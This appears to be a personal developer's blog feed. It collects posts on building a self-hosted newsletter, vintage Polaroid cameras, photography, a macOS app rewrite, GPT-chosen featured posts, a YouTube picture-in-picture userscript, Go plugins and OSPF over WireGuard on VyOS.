Vercel Postgres is a managed PostgreSQL database. Since I’m familiar with Postgres, I decided to add it to the mix. This project is pretty small, and I didn’t need an ORM, but, with the idea of building other features for this site, I decided to go with Prisma because it has a type-safe query builder, and it handles database migrations for me.

Building

How simple can you make the database? Yes.

It’s just two tables, with one column each. No relationships. I told you I had basic requirements.

The Prisma models are rather simple.

...
model Subscriber {
email String @id
}
model LastSent {
sent String @unique
}
...

Now I had to add a Contentlayer source to handle the issues. I purposefully decided to use the filename of the issue to indicate the date to minimize the number of custom fields needed (I just needed the title, later used as the email’s subject).

 1export const Newsletter = defineDocumentType(() => ({
 2 name: "Newsletter",
 3 filePathPattern: `newsletter/*.md`,
 4 contentType: "markdown",
 5 fields: {
 6 title: {
 7 type: "string",
 8 required: true,
 9 },
10 },
11}));

From this point, building the past issues list was trivial.

 1const newsletterList = allNewsletters
 2 .sort((a, b) => {
 3 if (a._id < b._id) {
 4 return -1;
 5 }
 6 if (a._id > b._id) {
 7 return 1;
 8 }
 9 return 0;
10 })
11 .reverse()
12 .map((newsletter, i) => (
13 <Link
14 href={`/${newsletter._id}`}
15 key={i}
16 >
17 <p>{newsletter.title}</p>
18 </Link>
19 ))

You can find all the relative UI code here.

It was time to tie it all together and start sending emails.

Firstly, I added three (well, to be honest, four) API routes to my next app:

/api/newsletter/subscribe/[email]
/api/newsletter/unsubscribe/[email]
/api/newsletter/send
/api/newsletter/test

Then I started writing some logic to make the newsletter work.

After retrieving the last newsletter from Contentlayer, I check if the email was already sent.

1const sent = await prisma.lastSent.findFirst({
2 where: {
3 sent: { equals: newsletter._id },
4 },
5});

Consequently, I retrieve the list of subscribers and send the newsletter.

1subscribers.map(async (e) => {
2 await transporter.sendMail({
3 from,
4 to: e.email,
5 subject: newsletter.title,
6 html: newsletter.body.html,
7 });
8});

Similar logic is used for subscribe and unsubscribe API routes, obviously changing the checks.

You can find the full code for the API routes here.

Now I can own my newsletter infrastructure and I don’t have to pay attention to commercial decisions by millionaires.

Some notes on Polaroid Batteries

Fri, 01 Dec 2023 00:00:00 +0000

Since I recently got into the vintage Polaroid hobby, I started researching how I can be less wasteful with the material needed to take pictures with those cameras.

One of the researches I conducted is on battery packs for the Polaroid (or how to not waste a perfectly good battery with each film cartridge).

The old

Back in 1947, Edwin H. Land introduced the Polaroid-Land process. In a nutshell, the negative film gets exposed inside the camera. It then gets squeezed with rollers, which spread a reagent between the two layers. The reagent is inside a pod present in each film slide.

The piccancle of this invention was the Polaroid SX-70 system, released in 1972.

One of the innovations brought by the SX-70 system was the PolaPulse battery present in the film cartridge.

The PolaPulse battery used zinc-chloride chemistry to operate with the cameras requirements of high-current demand for the motors.

The battery used inside the SX-70 film packs was called P80. More info here.

The Impossible Project

When The Impossible Project took over the production of Polaroid film, it started using LiMnO2 batteries in its film packs. In particular, they started using two CP225040N cells. More info here.

The new batteries hold a higher capacity but a lower maximum pulse discharge.

I bought some Polaroids

Mon, 27 Nov 2023 00:00:00 +0000

I kept a close eye on Polaroids since news about “The Impossible Project” started surfacing (I was 12 at the time).

I never pulled the trigger and bought a Polaroid camera because I was always scared by the film cartridge prices, but last Saturday, I changed that.

I was reaching the city center with my brother on foot after visiting some friends at Museo Ferroviario Piemontese, working at the workshop near Ponte Mosca in Turin. We were already near Porta Palazzo and the historical flea market called Balon, a staple of the Aurora district, and after getting lost in the color, smells, lights, and sounds of that market, we reached the booth of a vintage camera and watches seller.

When we arrived, the seller was already packing back the goods for the day, but, in the rightmost corner of the stand, on top of a velvety red cloth, there were two Polaroid cameras: a Polaroid Land 1000 Camera (with a green button), and a Polaroid 636 Autofocus.

I made an impromptu decision, asked the seller for a price, and then quickly bought the two cameras (for €15 each).

It was now time to learn some more about the cameras, and after an extreme Wikipedia and Reddit (r/Polaroid) search, I found out that the cameras accepted SX-70 film and 600 films, respectively.

The side-quest for the film was hilarious in its way. I first went to a local electronics retailer, Unieuro, where a Polaroid salesman told me I could get I-type film for my camera. Fortunately, I-type film has a big sticker with “Not for vintage cameras” written on it, so I backed out and went to another store: La Rinascente.

La Rinascente was running a sale for Polaroid film, and it was all out-of-stock, so I got out and walked into another shop. Il Grande Marvin. We found some expired SX-70 film, but nothing for my 636. It made me a bit sad. It later occurred to me to check on Amazon, where, surprisingly, I found some 600 films that I immediately ordered.

At home, we put the SX-70 pack inside the Land 1000. We were in awe at the whirring noises coming out of it. I imagine it was a “second birth” for that camera since it probably wasn’t used in the last 20 to 30 years. The next day, the film pack for my camera reached our door. I placed it inside the camera and closed the film flap. It whirred. It was as magical as the other one. When I saw the dark slide coming out and getting covered by the tongue, I was ecstatic. I told my brother to take a picture of me, and the camera flashed. After some milliseconds, the slide got ejected.

Hey! A picture of me!

I went for a walk with my brother later, when he took a chance and took a shot with his camera. We heard whirring noises. We had another winner.

Riva del Po

I fell into the Polaroid rabbit hole now. I’m planning to mod my camera to use new I-type film. I’ll write another post if I succeed in that!

Things happen

Sat, 25 Nov 2023 00:00:00 +0000

A few weeks ago, I was reading The Beekeeper by Maxence Fermine. It’s a book about a boy who has always dreamed big, and as I scrolled my eyes through those lines, it seemed like I already knew that boy.

The essential part of the story is that this fella, against the thoughts of the people in his small village, started his beekeeping business. His first season ended abruptly with a fire, so he decided to travel to seek gold, which, in his case, was honey.

One thing that united his expeditions was that, every time, Aurelien found himself in a convoy of travelers, and even if these expeditions didn’t succeed, he still had a wealth of experiences to bring home.

These convoys are a bit like all the people I met in my life. Each person has made a substantial contribution to how I see things.

The first expeditions laid the foundations for growth and shaped me into what I am today (a bit of a dreamer and a bit foolish).

When I arrived in Turin, a bit disoriented, I tried to anchor myself to new people, who with so much patience supported and endured me, for which I thank you.

Aurelien’s story concludes with him actually finding gold. It was right in front of his eyes.

I would like to express my appreciation to my family for their support and encouragement throughout this journey. Their love, understanding, and belief in me have been a constant source of inspiration. I would also like to extend my thanks to my friends. Their encouragement has been invaluable, and I am grateful for their friendship. To all, thank you.

I graduated.

RANT: Photography Influencers Should Be Stopped.

Thu, 09 Nov 2023 00:00:00 +0000

<rant>

It’s so sad to see photography influencers giving misleading advice on this platform. One recent example?

I only shoot with my ISO 800 or higher

This statement doesn’t tell the full story. ISO, like shutter speed and aperture, is context dependendant.

The lesson should be to assess the situation and then make informed decisions on what settings to pick.

Giving away “magical settings” will influence a new generation of “bad” photographers.

Assess, set, shoot.

</rant>

I'm now 25.

Fri, 01 Sep 2023 00:00:00 +0000

A quick disclaimer: I will not talk specifically about technology, photography or what else. This is about me. This is about what is the perception of me at the moment and what I’m asking from me for the future. You are looking at an open letter to my future self, but please, if you feel like it, go ahead and read it!

Hey, today I’m turning twenty-five, and, to put it in Taylor Swift’s words, I feel like we are “Dancing With Our Hands Tied”.

I’m currently in a stretch of time of questioning. One of the questions that is always roaming free in my mind is a question of purpose. Sometimes, out of a sheer of confusion, I feel like I’ve lost purpose.

As an example, a thing that brought joy to me, for a major part of my life, was coding and programming. Nowadays, I only do it out of necessity. I only deployed two personal projects this past year. Yeah, I know, I had many (lots of many) other tasks to accomplish, and all personal coding projects fall out of importance for me. That’s worrying since I’m a Computer Science student, but, nonetheless, it feels great to not spend my free time in front of a blinking cursor on vim (R.I.P. Bram Moolenaar) on a computer screen.

The little free time I have is now well spent on photography, hanging out with friends (that I’m really grateful for), making pizza (I’m getting pretty good at it), or, more recently, learning Japanese on Duolingo. こんにちわ！

I realised that the best thing for my mental health is to avoid setting myself up to unrealistic standards, and, sometimes, have a little positive self-talk to look back on accomplishments. I can’t still move away from thinking of being the worst in the room.

Don’t get me wrong, this way of thinking has some positive connotations, but I’m still trying to find a healthy balance and to embrace humility without disregarding my own value.

To be honest, I’m not feeling good with my body (f*ck Hashimoto’s thyroiditis) but that’s a given. I have a bad year followed by a good year, with weight oscillations (of around 10 kg) that sometimes make me feel that my body isn’t really mine and a face that sometimes I don’t recognize.

The past month was a month of changes. Heck, this year was a year of changes. The pages of my life turned, challenging myself to adapt, learn and, I think, grow.

I had to make profound self-reflection to reshape the landscape of my emotions and connections.

I’m now 25.

Stories & Telegram

Fri, 21 Jul 2023 18:40:00 +0000

Today marks the day Telegram decided to roll out Stories (but only for Telegram Premium users at the moment).

It adds to the (already long) list of apps having this “feature”.

1echo "Telegram" >> apps_with_stories

It’s the right time to post a quote from a friend of mine:

Every program attempts to expand until it can show stories. Those programs which cannot so expand are replaced by ones which can.

from: nomnp.com

The “stories” functionality in apps has become increasingly popular over the years, and it originated on Snapchat in 2013. They play on the unapologetically human fear of missing out, creating a sense of urgency among viewers. This brings an increase of interaction time across the platform. This is all part of the increasing need to share real-time updates.

We don’t need stories in messaging apps.

[Un]MuteMic but make it 2023

Sun, 09 Jul 2023 19:40:00 +0000

[Un]MuteMic is one of my favorite macOS utility apps. It’s simple: a button placed on the menu bar that lets you toggle the microphone status. Since we are in the age of teleconferencing, it’s a handy app, but it got compiled a long time ago, about four years B.A.S. (Before Apple Silicon).

One of the first things I did after I got my new MacBook was to compile the app for aarch64. It worked great!

Then I started adding a feature: global hotkey. I added this feature on the existing codebase, initially written in Objective-C.

I’ve never really bonded with Objective-C. I find the syntax unnecessarily verbose, so two days ago, I decided to rewrite the entire app in Swift and SwiftUI.

At WWDC2022, Apple introduced MenuBarExtra, a Scene that renders a persistent item in the system menu bar. It seemed appropriate to rewrite the app using this new Scene.

[Un]MuteMic

GitHub

macOS app to mute & unmute the input volume of your microphone. Perfect for podcasters.

brew install eliseomartelli/eliseomartelli/muteunmute

Changelog:

The app is compiled as a Universal Binary, no more Rosetta!
Complete rewrite in Swift and SwiftUI using MenuBarExtra.
Accessibility Service so you can decide to have a global hotkey.
The app icon is redesigned. It feels right at home on modern macOS.
What input am I using? Now you can know.
SFSymbols so everything is pixel-perfect.

The app in action:

Ingredients for a great picture

Fri, 07 Jul 2023 19:40:00 +0000

Photography is not just a 3-tuple of light, time and space. Photography is a whole art form involving creativity, composition, storytelling, and the ability to convey meaning and evoke emotions. A photograph is an interpretation of reality by the photographer.

A great photo needs at least two more ingredients:

Emotions: they play a crucial role in human experience, they influence our perception.
Information: data presented in a meaningful way, providing insight about a particular subject.

The interplay between emotions and information in photography enhances the impact and resonance of the image.

Featured posts with 100% more AI

Sat, 13 May 2023 21:30:00 +0000

I’ll admit it: having static “Featured Posts” for my blog articles was boring. We left the 2010s for a while. All the young kids are now talking about LLMs, GPTs, world destruction, and strange fingers on AI-generated images that I couldn’t help but feel missing out.

So I did the dumbest thing ever: I added AI-suggested featured posts for a site that has, at the moment, 17 articles.

1~/personalsite $ ls data/blog | wc -l
217

The first idea I got was to implement a scoring system that took account of the potential interests of the people looking at this site. I then intended to embed that score in each post metadata. Generating the Featured posts section was then easily achieved by ordering posts by that score and picking the top three entries.

You're given the text from an article geared toward an audience that is
techy, and generally has interests in computer science, electronics,
music, photography, art, and productivity.
You will calculate an interest score based on the intended audience.
The interest score is a numeric value with one decimal position after
the dot.
The range of the interest score is between 0 and 1.
The response format is JSON and will look like this.
{ "interest": "<interest>", "explaination": "<explaination>" }
What's the response to the text below? Respond only with the specified
format. Don't add anything more.
{text}

This prompt kind of worked. The main problem was that it did not solve the first requirement: suggesting more posts for users.

It was a clear example of “blind prompting”; for the effect of witchcraft, it worked reasonably well.

My next idea was to instruct GPT to pick three articles based purely on a (descriptive) filename.

Given this list of filenames:
{filenames}
pick three files you think are most important based on this {file}

How naïve of me. LLMs don’t think. GPT-3.5 started spitting filenames left and right, often not even matching the provided list, prefixing everything with an explanation of why it couldn’t do it (ironic, I know).

As an AI language model, I cannot make subjective decisions based on importance as it is relative to individual preferences and interests. However, I can provide suggestions based on the popularity of the articles on the internet.

I then stumbled upon Mitchell Hashimoto’s “Prompt Engineering vs. Blind Prompting” and “Prompt Engineering” by Lilian Weng.

These two posts gave me some pointers on how to improve my prompt. The second-last iteration of the prompt was:

You are an editor for a site assigned to pick 3 articles from the possible filenames given a filename. The site treats arguments spanning music, photography, technology, software development, and life.
Output only plain text. No explanation. One filename per line. Don't change the filename.
The list of possible filenames is this:
{filenames}
Pick files based on this one: {file}

And it kind of worked until it didn’t. During some requests, it added text surrounding the filenames (even after stating that it shouldn’t have done that).

The last iteration includes a level of imperative I wouldn’t use during usual conversations, but it is highly effective when interfacing with LLMs.

Pick 3 filenames from the possible filenames.
The files are about topics spanning music,
photography,
technology,
software development,
and life.
RULES:
- OUTPUT plain text ONLY.
- OUTPUT exact filename ONLY.
- OUTPUT one filename per line.
- MUST NOT include explanations.
- MUST NOT include current filename.
- MUST NOT include any other text.
Possible filenames:
{filenames}
Current filename: {file}

Oh, and all caps, lots of all caps.

It started to work wonders!

I then created a Python script to proxy requests to GPT-3.5 (I want to use this proxy for other projects as well), packaged it all up, and deployed it on fly.io. I’m using aiohttp and OpenAI’s Python library.

I call this proxy from a Next.JS API route that doesn’t do much other than some output filtering.

And now, I’ll leave you to enjoy this AI feature. I’ll add the obligatory “AI Prompt Engineer” to my resume soon™️.

I hate my coffee machine

Wed, 03 May 2023 19:00:00 +0000

As a young adult, I made one of the most characterizing purchases for my apartment: A coffee machine.

As a gen-zer, I went to Amazon and searched for coffee machines. After reading some reviews, the coffee machine I decided to buy is a Gaggia Viva Style, a modest appliance that, at least in theory, should get the job done.

And the machine did well, but only for the first two months, then it decided to start leaking from the handle, and it stopped dispensing coffee.

A little chat with Amazon support

After contacting Amazon support about this problem, they advised me that the handle is a consumable part. They couldn’t assist with this component (even if it’s a fundamental part of the machine). Their follow-up was: “Buy a new handle.”

After checking the price of the said handle, I decided to have my go at tearing it down. I discovered that the sub-component giving me trouble was the “pressurized filter-holder.” It was trivially swappable, so I went to Gaggia’s site, and to my astonishment, they only sell the complete handle.

I then went on a journey for third-party sellers (online and not), trying to find this part, but none carried a genuine part (Gaggia doesn’t sell those).

I decided to cave in and bought a new handle from a local seller. It went brilliantly (but only for two months). Then it exhibited the same problems as the original unit shipped with the machine.

Environmental issues and right to repair

Gaggia designed one of their most popular machines with a flaw regarding the pressurized filter holder, but it’s ok, we are humans, and we all can make errors. The infuriating part is that their support channels direct you to buy a part costing 1/3 of the machine, spotting the same design issues as the original.

This issue means producing and disposing of a composed piece of plastic, Teflon, and steel, with a consequent environmental impact, when they can sell the individual part (made of Teflon).

I want to repair my machine. I want my coffee.

YouTube's PiP but with ⌥+P

Thu, 27 Apr 2023 22:00:00 +0000

I was watching a video on YouTube and I realized that there wasn’t a way to invoke the picture-in-picture functionality with a shortcut (at least on Safari 16.4).
My fingers rested on ⌥+P, so it made sense to add a shortcut to toggle the picture-in-picture with that key combination.

Since I’m already using UserScripts, the most straightforward thing to do was writing an userscript.

UserScripts

Open

An open source Safari extension that lets you save and run arbitrary bits of JavaScript (and CSS) code for the websites you visit.

The code is pretty simple, but it gets the job done and, most importantly, saves me a few clicks.

 1/**
 2 * Key combination to use.
 3 *
 4 * @param {KeyboardEvent} e - Keyboard Event
 5 */
 6const KEY_COMBINATION = (e) => e.code === "KeyP" && e.altKey;
 7
 8(function () {
 9 "use strict";
10 const video = document.querySelector("video");
11 document.onkeydown = (e) => {
12 if (KEY_COMBINATION(e)) {
13 const isPiP = document.pictureInPictureElement !== null;
14 video.webkitSetPresentationMode(isPiP ? "inline" : "picture-in-picture");
15 }
16 };
17})();

If you are using an extension that supports userscripts, you can install this extension using the box below.

YouTube PiP Shortcut

Install

Open PiP in YouTube with a shortcut

On: solutions

Wed, 05 Apr 2023 21:30:00 +0000

Last week I got stuck on a reverse engineering exercise (using GDB to analyze memory content is a lot of fun. The solution was changing the choice of the starting offset from where to start to view the memory. I was reading “no-sense” instructions, and I felt stuck).

I talked to the course teacher, and he didn’t provide an immediate solution. He just told me to keep it simple. At that time, I felt even more frustrated. In theory, the steps I was taking were correct. I was missing a little piece.

Yesterday I finally solved the exercise, and I remembered a quote from a book I read last month:

…I once asked him why the Master had looked on so long at my futile efforts to draw the bow “spiritually” why he had not insisted on the correct breathing right from the the start. “A great Master”, he replied, “must also be a great teacher. …Had he begun the lessons with breathing exercises, he would never have been able to convince you that you owe them anything decisive. You had to suffer shipwreck through your own efforts before you were ready to seize the lifebelt he threw you. …

from: Zen in the Art of Archery - Eugen Herrigel

Had he told me immediately what I was missing, I could’ve concluded the exercise quickly, there’s no doubt, but I would’ve completely missed the lesson that, sometimes, it’s best to have a more expansive vision of the problem and that in many instances, answers are indeed simple.

The joy of photography in the age of social media

Wed, 07 Dec 2022 21:30:00 +0000

I was listening to a podcast about street photography, and the presenter mentioned Vivian Maier.
If you don’t know Vivian Maier, she was a street photographer from New York City who was active in the mid-20th century.
Her pictures, never published during her life, were discovered by some collectors and later published.
Her work is candid, intimate, and powerful. She had an innate ability to capture moments and emotions on the streets.

I think that, as humans, we are fortunate to be able to see her work now. If we think about it, she took photos only for herself.

That’s what I want back from my photography.

I was talking to buddying photographers (@__the_street and @sacks, both of them met on the internet, about battling with the Instagram algorithm.

As someone who enjoys sharing my work with people (yeah, maybe I’m chasing feedback, I recognize that), it can be highly frustrating to battle against the algorithm. It’s unpredictable and designed to boost the in-app engagement of the particular platform. Publishing high-quality content is often not enough, and often, your posts get ignored and never shown to people.

For example, right now, Instagram is pushing Reels to its users. Short and engaging videos that keep people scrolling for the daily dopamine boost.

It’s hard to compete for attention on a platform that doesn’t prioritize stills anymore.

In my opinion, there will be a renaissance of printing.
Physical media is one of the ways to share your work with others. It doesn’t rely on obscure social media algorithms. It’s completely analog. In the end, it makes you more intentional with your work.

Another way of sharing pictures I’m exploring it’s via this website. It gives me complete control over how I show my work to people and retain community aspects.

The algorithm is not always evil. Abandoning Instagram could limit your ability to engage with that community and potentially reduce the visibility of your work.

Instagram’s main problem is that it incentivizes people that “play by the rules”.
But why should I post what people are expecting? I don’t want to scroll through an endless feed of similar content. I want uniqueness.

My end goal is to produce work that matters, work that is meaningful. Ultimately I should care less about numbers and more about how I can create connections through my work.
Numbers and metrics are not the only measure of success or value.

Modular applications in go

Fri, 02 Dec 2022 21:30:00 +0000

I’m working on an unnamed application (I can’t tell much about it now, but I will share more when I can) where I needed a way to load plugins dynamically based on the app’s configuration.

I concluded that I needed a way to “store” the plugins and load them based on the application configuration. It seems that the premise is akin to the “registry” pattern.

The registry

To have an O(1) time complexity, I decided to store plugins in a “map”.

// Plugin registry.
var Plugins = map[string]Plugin{}

But it doesn’t automatically solve our problems. Golang offers an init function that gets called only when we first import a package. You can have any number of init functions inside a package (one per file, for example).

So the next idea is to use the init function to register our plugins.

// file plugin_name.go
package plugins
type PluginName struct {}
...
func init() {
Plugins["plugin"] = &PluginName{}
}

We already have a functioning proof-of-concept, but we can make it better!

Let it shine

We will define an interface for our plugins with some methods to manage the plugin life cycle.

type Plugin interface {
Setup()
Cleanup()
}

Then I made a function to register a plugin into the register:

// Factory to provide a closure to get the Plugin.
type PluginFactory = func() Plugin
// Register SHOULD BE called by the init() function of a plugin.
// The provider will be added to the Plugin map.
func Register(pluginName string, plugin PluginFactory) {
if _, present := Plugins[pluginName]; present {
log.Fatalf("Plugin %s already defined.", pluginName)
}
Plugins[pluginName] = plugin
}

We have to change our previous plugin to use this function:

// file plugin_name.go
func init() {
Register("plugin", func() Provider { return &PluginName{} })
}

Consuming the plugin

To use the plugins, we can, for example, iterate on a list of configured plugins, check if they’re available in the map, and call the life cycle method to set them up.

for _, pluginName := range configuredPlugins {
if plugin, present := Plugins[pluginName]; present {
plugin.Setup()
}
}

We now have the tools to build a modular application in go.

Web3 isn't for me

Sat, 26 Nov 2022 19:40:00 +0000

Whenever I read around the web terms like crypto, web3 or nft, the blanket of pure skepticism covers my eyes, and I can’t stop myself from asking questions about the subject.

The shift of ownership to the users, arguably the only point of interest of Web3, is just an afterthought and a promise, so people buy the latest shitcoin. The term itself is a money-mover, a way for VC to gather cash fast from enthusiasts.

The vision presented by the crypto-enthusiast is at the edge of dystopia, and sometimes it becomes religious.

My criticism of Web3 is mainly on the crypto/nft side. Decentralization, on the other end, is a great concept and something that already exists in various forms.

BitTorrent, for instance, is an example of decentralization. It has been around for at least 20 years without any signs of cryptocurrency. Other examples are ActivityPub, IPFS, …

“Cryptobros” usually call me a hater, but I can’t see the class of problems this technology is supposed to solve. Web3 became the umbrella term for the gamification/reification of everything around us.

My photography journey

Fri, 25 Nov 2022 19:40:00 +0000

Photography is certainly not a new thing for me. I started taking snapshots of the things around me when Adobe Photoshop CS4 was still around with a compact digital camera which I received as a gift when my relatives saw my interest in photography. Before that, I had a plastic-lens compact film camera.

Photography was always something “latent” in my life. I didn’t put lots of thought into that art. To be fair: I had the basis of composition, knowledge of the exposure triangle, and maybe some lucky shots here and there. I didn’t have a photography genre that caught my interest, and some other things in my life filled the “mental bandwidth” I could dedicate to photography.

I then moved to Turin from a small town in Abruzzo. At that moment, something kicked in. Suddenly, I started to pay attention to colors, shapes, and light around me, and I felt the need to capture what I was seeing, the moments around me.

One of the first things I bought after moving was a DSLR camera. It was a commitment, something I had on my shelf that reminded me of taking some pictures here and there. The most important thing was regaining confidence with that tool and slowly taking some steps into the world with that shiny new toy.

With that new toy, I started taking pictures of landmarks around the city (yeah, I’m not proud of every photo I took, but some came out lucky, and I still like them to this day). There’s a limited number of landmarks in a city, and it started to become boring. I was worried about the money I spent on something that didn’t give me the joy I was expecting. Then something clicked (pun intended). What if I had people as subjects?

That was the bloom of what I’m photographing today. I took pictures of people in urban typesettings, but something didn’t feel right. What was I doing? What “story” am I trying to tell? It turns out that people only have a pre-defined set of actions they do in public, at least here in Turin. I had to find another way to keep shooting.

At this point, I started seeing photography in another light. What I had was this tool that allowed me to capture the interaction between light and objects. What if I used this interaction as the subject of my pictures? My current iteration is keeping individuals anonymized by the environment, using existing light to provide contrast in the parts I want to highlight. I started to produce darker images, and, for now, this is my happy place.

I still have a lot to learn about this art. I’m pretty confident that the practice of taking pictures is here to stay for me. I share my photos on Instagram Stories at the moment, but I want to build an archive on this site as soon as possible.

I’m curious about what will be my next step.

Music streaming sucks, long live music streaming.

Thu, 24 Nov 2022 21:30:00 +0000

The evolution of portable, personal, and on-demand music started in 1979 thanks to Sony with their Walkman (ウォークマン), after about 20 years of pocket radios. The Walkman then evolved into Discman (and similar devices), and at the beginning of the 2000s, the digital audio revolution came and brought Mp3 players, most notably the iPod.

We are currently in the post-iPod era. The smartphone is the primary device most people use to listen to and consume audio content.

The always-connected smartphone brought new industries into the tech space. One of these industries is streaming.

Is music streaming worth the money? (for me)

Accordingly to my (highly scientific) method, I’ve listened to about 1000 songs this year, organized into about 500 albums and singles.

Considering a more sane music listening habit not skewed by the streaming culture, I would’ve bought ten albums in a year. At this time of the year, I would’ve spent €100 on music, considering a price of €10 for a single album.

With streaming, I pay around half the price of that. With that, I get human-curated content like “Apple Music Today”; algorithmic recommendations; and shared playlists. Then, I don’t need to manage a media server, I don’t need to worry about ripping media, and I get high-quality streaming.

DRM sucks, yes. But contrary to video streaming, the quantity of music I listen to is orders of magnitude larger than the video content I watch. It makes sense economically in my case.

Long live music streaming.

OSPF over Wireguard with VyOS

Thu, 29 Sep 2022 00:00:00 +0000

My home network is getting another friend, and I wanted to share the experience of setting everything up with you.
I already had a site-to-site VPN setup using Wireguard between three sites, but there was a little problem: I had to set up static routes between these sites. (And maintaining static routes is a big chore, a task no network administrator would like to be involved in).

Meet OSPF

OSPF is a routing protocol that operates inside an autonomous system (AS). OSPF is a link-state protocol that means that every router in the network knows the entire topology of the network. Each router calculates the best next hops from itself to every other possible destination. The list of best next-hops gets appended to the routing table.

OSPF networks are broken apart into areas. Area 0 (also called backbone area) is a particular type of OSPF area to which all other areas are connected. Routers in an area form adjacencies when they detect each other.

OSPF supports different operation modes, depending on what interface it is running on. The default operation mode is broadcast. Wireguard is an L3 point-to-point tunnel, which means we can’t use broadcast. We have to resort to using the “point-to-point” operation mode.

It looks like the perfect candidate for our purposes. Another option we could use is RIP which has some advantages over OSPF in terms of resource utilization on the machine(s) running it but consumes more bandwidth since it transmits the entire routing table every 30 seconds. OSPF, on the other hand, sends only the entries of the routing table that changed.

Network topology

The network has three routers in three different sites, connected with Wireguard over the internet. Each router connects to several networks. Only a subset of these networks should be advertised to other routers.

Preparation

First things firsts, we have to establish the needed Wireguard tunnels. We are adding an interface for each router pair for a specific reason: we need to set AllowedIPs to 0.0.0.0/0 for every peer. Wireguard doesn’t support having the same AllowedIPs on multiple peers on the same interface.

Quoting Wireguard’s homepage:

…when sending packets, the list of allowed IPs behaves as a sort of routing table, and when receiving packets, the list of allowed IPs behaves as a sort of access control list….

Since we have three routers, we have to configure six interfaces, two for each router, spanning three point-to-point subnets.

As a first step, we decide on our subnets respecting RFC1918. In my case, I can start playing with 192.168.69.0/24.

 V
192.168. 69. 0 11000000.10101000.01000101.00000000
# Let's make 3 /30 subnets
V
192.168. 69. 0 11000000.10101000.01000101.000000 00
192.168. 69. 4 11000000.10101000.01000101.000001 00
192.168. 69. 8 11000000.10101000.01000101.000010 00

We can now start configuring our VyOS routers (I’m assuming you already have SSH or console access to the router and a WAN connection).

SSH to rtr-01:

 1rtr-01 $ generate wireguard named-keypairs link_01_to_02
 2rtr-01 $ generate wireguard named-keypairs link_01_to_03
 3
 4# Take note of the pubkeys
 5rtr-01 $ show wireguard keypairs pubkey link_01_to_02
 6rtr-01 $ show wireguard keypairs pubkey link_01_to_03
 7
 8rtr-01 $ configure
 9
10rtr-01 # edit interfaces wireguard wg01
11rtr-01 # set address 192.168.69.1/30
12rtr-01 # set private-key link_01_to_02
13rtr-01 # set port 7878
14rtr-01 # set description link_01_to_02
15rtr-01 # set peer rtr-02 allowed-ips 0.0.0.0/0
16rtr-01 # set peer rtr-02 pubkey <link_02_to_01 pubkey>
17
18rtr-01 # top
19
20rtr-01 # edit interfaces wireguard wg02
21rtr-01 # set address 192.168.69.5/30
22rtr-01 # set private-key link_01_to_03
23rtr-01 # set port 7879
24rtr-01 # set description link_01_to_03
25rtr-01 # set peer rtr-02 allowed-ips 0.0.0.0/0
26rtr-01 # set peer rtr-02 pubkey <link_03_to_01 pubkey>
27
28rtr-01 # commit; save; exit

Now SSH to the other routers and apply the “same” configuration, changing addresses, ports and keys. To streamline the task, you can use your preferred automation tool. I’m using Ansible.

Don’t forget to allow the used ports on your firewall configuration.

At this time, you should be able to ping other routers connected at the other end of the tunnels. If everything is working, we can get to the OSPF configuration.

A sprinkle of OSPF

As we stated, we have to configure our interfaces to run OSPF In point-to-point mode. Get a shell onto your router and:

rtr-01 $ configure
rtr-01 # edit interfaces wireguard wg01
rtr-01 # set ip ospf network point-to-point
rtr-01 # top
rtr-01 # copy interfaces wireguard wg01 ip to interfaces wireguard wg02 ip
rtr-01 # commit; save; exit

Follow the same steps on your other routers. Now we are at the fun part!

We are adding the 0.0.0.0 area on every router, telling the OSPF daemon which point-to-point networks are part of this area, and telling what routes the router should redistribute to every other router.

You know the drill, SSH to your favorite router first, and tell it what to do! Then, configure the other routers like this first one.

rtr-01 $ configure
rtr-01 # edit protocols ospf area 0.0.0.0
rtr-01 # set network 192.168.69.0/30
rtr-01 # set network 192.168.69.4/30
rtr-01 # set network 192.168.69.8/30
rtr-01 # set redistribute connected
rtr-01 # commit; save; exit

I’m not covering how to set up your firewall here since your configuration might be different than mine (I’m using zone-based firewall policies). Remember to accept traffic (from and to) the previously defined Wireguard interfaces.

Let’s check if everything is in its place

At this point, everything should be working.
Let’s check:

if the neighboring relationships are getting formed;
if the link-state database is getting populated;
if routes are getting injected into the routing table.

Neighboring relationships

rtr-01 $ show ip ospf neighbor

Link-state database

rtr-01 $ show ip ospf database

Routes

rtr-01 $ show ip route ospf

Filtering routes

We can use a routing policy to filter the redistributed routes from our routers. A route map allows us to match a network or an interface (or an as-path, an extcommunity, a metric, a peer, a community, etc.). For our purposes, we will permit the redistribution of networks attached to some interfaces.

Let’s create a new policy:

rtr-01 $ configure
rtr-01 # edit policy route-map FilteredRoutes
rtr-01 # set rule 10 action permit
rtr-01 # set rule 10 match interface eth1
rtr-01 # commit

And now apply this policy to the redistribution configuration of the OSPF daemon:

rtr-01 # top
rtr-01 # edit protocols ospf redistribute connected
rtr-01 # set route-map FilteredRoutes
rtr-01 # commit; save; exit

Bonus: (s)NAT

Let’s say you want to access a web server that sits in a network redistributed by rtr-02 from a client in a network attached to rtr-01, but we configured this router to don’t redistribute that network. In this case, SNAT is our friend. We are going to translate the source address of our client to the address of the interface connected to rtr-02.

Let’s add this NAT rule to rtr-01.

rtr-01 $ configure
rtr-01 # edit nat source
rtr-01 # set rule 100 outbound-interface wg01
rtr-01 # set rule 100 source address 192.168.16.0/24 # Change with your network.
rtr-01 # commit; save; exit

Final checks

Neighboring relationships

rtr-01 $ show ip ospf neighbor

Link-state database

rtr-01 $ show ip ospf database

Routes

rtr-01 $ show ip route ospf

You can see that the link state database and, consequently, the routing table are leaner than before since we have fewer routes advertised between our routers.

Conclusion

And we are golden!
Enjoy your brand new site-to-site VPN, and forget about adding static routes manually. OSPF will take care of that for you.

Far out: what's new in Apple hardware?

Wed, 07 Sep 2022 00:00:00 +0000

As of every year, we just had Apple’s September event: “Far out”.
Since I’m an Apple user interested in the evolution of Apple products, I decided to gather my thoughts on what they presented today.

As usual, the conference was tightly packed with sci-fi-esque transitions, an implacable succession of speakers, and lots of marketing mumbo-jumbo that is necessary to swallow the price of the new products and inspire uses to justify the expense. And it works. I’m pretty sure that the retention rate of Apple’s conferences is one of the highest in the industry looking at the view numbers on YouTube.

Let’s begin with the new (but also old) kid on the block.

The iPhone 14 series

This year’s iPhone is an incremental update to the proven iPhone we all know, bringing small things in, year after year, and smoothing out the edges (pun intended).
As the silicon for new products gets more streamlined each year, the A16 offers a TSMC 4nm production process that helps with power consumption and in keeping things “fresh” in the constrained thermal envelope of the iPhone.

